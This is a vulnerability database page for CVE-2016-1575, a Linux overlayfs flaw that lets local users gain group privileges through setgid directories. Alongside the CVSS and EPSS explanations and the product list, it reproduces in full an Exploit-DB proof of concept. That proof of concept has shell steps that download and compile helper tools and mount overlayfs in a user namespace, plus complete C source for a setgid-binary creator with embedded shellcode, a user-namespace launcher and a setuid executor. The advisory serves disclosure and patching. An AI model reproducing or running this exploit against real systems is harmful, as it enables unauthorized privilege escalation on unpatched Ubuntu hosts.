CVE-2016-1575 : Detail

CVE-2016-1575

7.8
/
High
Improper Privilege Management
A04-Insecure Design
0.04%V3
Local
2016-05-02
08h00 +00:00
2021-10-18
18h06 +00:00
CVE.org
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CVE Descriptions

The overlayfs implementation in the Linux kernel through 4.5.2 does not properly maintain POSIX ACL xattr data, which allows local users to gain privileges by leveraging a group-writable setgid directory.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41762

Publication date : 2016-11-21 23h00 +00:00
Author : halfdog
EDB Verified : No

Source: http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/ ## Introduction ### Problem description: Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface. Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose. Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid. ## Methods ### Target Selection: Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are: /usr/local/lib/python3.4 (root.staff) /var/lib/libuuid (libuuid.libuuid) /var/local (root.staff) /var/mail (root.mail) ### Exploitation: Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it. ### Inside: test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c test$ gcc -o UserNamespaceExec UserNamespaceExec.c test$ gcc -o SuidExec SuidExec.c test$ ./UserNamespaceExec -- /bin/bash root# mkdir mnt test work root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily ### Outside: test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily ### Inside: root# chmod 02777 mnt/[targetdir] root# umount mnt ### Outside: test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg test$ test/[targetdir]/escalate ./SuidExec /bin/bash test$ touch x test$ ls -al x -rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x --- CreateSetgidBinary.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * This tool allows to create a setgid binary in appropriate directory * to escalate to the group of this directory. * * Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c * * Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args] * * Example: * * # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg * # ls -al ./escalate * # ./escalate /bin/sh * * Copyright (c) 2015-2017 halfdog <me (%) halfdog.net> * License: https://www.gnu.org/licenses/lgpl-3.0.en.html * * See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information. */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/resource.h> #include <unistd.h> #include <sys/wait.h> int main(int argc, char **argv) { // No slashes allowed, everything else is OK. char suidExecMinimalElf[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08, 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8, 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0, 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80 }; int destFd=open(argv[1], O_RDWR|O_CREAT, 07777); if(destFd<0) { fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno)); return(1); } char *suidWriteNext=suidExecMinimalElf; char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf); while(suidWriteNext!=suidWriteEnd) { char *suidWriteTestPos=suidWriteNext; while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; // We cannot write any 0-bytes. So let seek fill up the file wihh // null-bytes for us. lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET); suidWriteNext=suidWriteTestPos; while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; int result=fork(); if(!result) { struct rlimit limits; // We can't truncate, that would remove the setgid property of // the file. So make sure the SUID binary does not write too much. limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf; limits.rlim_max=limits.rlim_cur; setrlimit(RLIMIT_FSIZE, &limits); // Do not rely on some SUID binary to print out the unmodified // program name, some OSes might have hardening against that. // Let the ld-loader will do that for us. limits.rlim_cur=1<<22; limits.rlim_max=limits.rlim_cur; result=setrlimit(RLIMIT_AS, &limits); dup2(destFd, 1); dup2(destFd, 2); argv[3]=suidWriteNext; execve(argv[2], argv+3, NULL); fprintf(stderr, "Exec failed\n"); return(1); } waitpid(result, NULL, 0); suidWriteNext=suidWriteTestPos; // ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf); } fprintf(stderr, "Completed\n"); return(0); } --- EOF --- --- UserNamespaceExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015-2016 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool creates a new namespace, initialize the uid/gid * map and execute the program given as argument. This is similar * to unshare(1) from newer util-linux packages. * * gcc -o UserNamespaceExec UserNamespaceExec.c * * Usage: UserNamespaceExec [options] -- [program] [args] * * * --NoSetGroups: do not disable group chanages * * --NoSetGidMap: * * --NoSetUidMap: */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> extern char **environ; static int childFunc(void *arg) { int parentPid=getppid(); fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); while((geteuid()!=0)&&(parentPid==getppid())) { sleep(1); } fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); int result=execve(((char**)arg)[0], (char**)arg, environ); fprintf(stderr, "Exec failed\n"); return(1); } #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; int main(int argc, char *argv[]) { int argPos; int noSetGroupsFlag=0; int setGidMapFlag=1; int setUidMapFlag=1; int result; for(argPos=1; argPos<argc; argPos++) { char *argName=argv[argPos]; if(!strcmp(argName, "--")) { argPos++; break; } if(strncmp(argName, "--", 2)) { break; } if(!strcmp(argName, "--NoSetGidMap")) { setGidMapFlag=0; continue; } if(!strcmp(argName, "--NoSetGroups")) { noSetGroupsFlag=1; continue; } if(!strcmp(argName, "--NoSetUidMap")) { setUidMapFlag=0; continue; } fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName); exit(1); } // Create child; child commences execution in childFunc() // CLONE_NEWNS: new mount namespace // CLONE_NEWPID // CLONE_NEWUTS pid_t pid=clone(childFunc, child_stack+STACK_SIZE, CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos); if(pid==-1) { fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno)); return(1); } char idMapFileName[128]; char idMapData[128]; if(!noSetGroupsFlag) { sprintf(idMapFileName, "/proc/%d/setgroups", pid); int setGroupsFd=open(idMapFileName, O_WRONLY); if(setGroupsFd<0) { fprintf(stderr, "Failed to open setgroups\n"); return(1); } result=write(setGroupsFd, "deny", 4); if(result<0) { fprintf(stderr, "Failed to disable setgroups\n"); return(1); } close(setGroupsFd); } if(setUidMapFlag) { sprintf(idMapFileName, "/proc/%d/uid_map", pid); fprintf(stderr, "Setting uid map in %s\n", idMapFileName); int uidMapFd=open(idMapFileName, O_WRONLY); if(uidMapFd<0) { fprintf(stderr, "Failed to open uid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); if(result<0) { fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } close(uidMapFd); } if(setGidMapFlag) { sprintf(idMapFileName, "/proc/%d/gid_map", pid); fprintf(stderr, "Setting gid map in %s\n", idMapFileName); int gidMapFd=open(idMapFileName, O_WRONLY); if(gidMapFd<0) { fprintf(stderr, "Failed to open gid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); if(result<0) { if(noSetGroupsFlag) { fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno)); } else { fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } } close(gidMapFd); } if(waitpid(pid, NULL, 0)==-1) { fprintf(stderr, "Wait failed\n"); return(1); } return(0); } --- EOF --- --- SuidExec.c--- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool changes to uid/gid 0 and executes the program supplied * via arguments. */ #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> extern char **environ; int main(int argc, char **argv) { if(argc<2) { fprintf(stderr, "Usage: %s [execargs]\n", argv[0]); return(1); } int rUid, eUid, sUid, rGid, eGid, sGid; getresuid(&rUid, &eUid, &sUid); getresgid(&rGid, &eGid, &sGid); if(setresuid(sUid, sUid, rUid)) { fprintf(stderr, "Failed to set uids\n"); return(1); } if(setresgid(sGid, sGid, rGid)) { fprintf(stderr, "Failed to set gids\n"); return(1); } execve(argv[1], argv+1, environ); return(1); } --- EOF ---

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 4.5.2

Configuraton 0

Canonical>>Ubuntu_core >> Version 15.04

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 15.10

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 16.10

Canonical>>Ubuntu_touch >> Version 15.04

References

https://launchpad.net/bugs/1534961
Tags : x_refsource_CONFIRM
http://www.openwall.com/lists/oss-security/2016/02/24/7
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/18/1
Tags : mailing-list, x_refsource_MLIST